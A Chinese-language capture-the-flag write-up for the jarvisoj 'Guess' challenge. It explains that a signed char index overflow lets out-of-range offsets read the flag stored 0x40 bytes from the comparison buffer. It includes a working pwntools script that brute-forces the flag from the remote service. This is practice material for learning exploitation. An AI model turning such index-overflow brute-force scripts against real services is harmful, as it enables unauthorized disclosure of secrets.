jarvisoj——Guess

题目

jarvisoj——Guess_第1张图片

Wp

查一下基础项
jarvisoj——Guess_第2张图片
这道题卡了很久,实际上最核心的是 char数组 129时=-1

前面这些通过socket进行连接,和主题无关
jarvisoj——Guess_第3张图片

看到head可以看到这里才是关键的地方
jarvisoj——Guess_第4张图片

看到这里可以知道,实际上就是把bin_by_hex值和flag进行对比
jarvisoj——Guess_第5张图片
内存中bin_by_hex和flag相差0x40
jarvisoj——Guess_第6张图片
我们可以通过char数组溢出的方法进行查看falg,129=-1,依次类推
然后再对flag进行爆破

from pwn import *
io = remote('pwn.jarvisoj.com', '9878')
#io = process('./source')


#context(log_level = 'debug')
List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
leak = []
for i in range(50):
    leak.append('0')
    leak.append(chr(128 + 0x40 + i))




flag = 'PCTF{'
for i in range(5, 50):
    for j in List:
        io.recvuntil('>')
        payload = leak
        payload[i*2] = hex(ord(j))[2]
        payload[i*2+1] = hex(ord(j))[3]
        io.sendline(''.join(payload))
        re = io.recvline()
        if re.count('Yaaaay'):
            print(j)
            flag += j
            break
flag += '}'
print(flag)
io.interactive()

参考:https://www.cnblogs.com/zhwer/p/12884433.html

你可能感兴趣的:(oscp)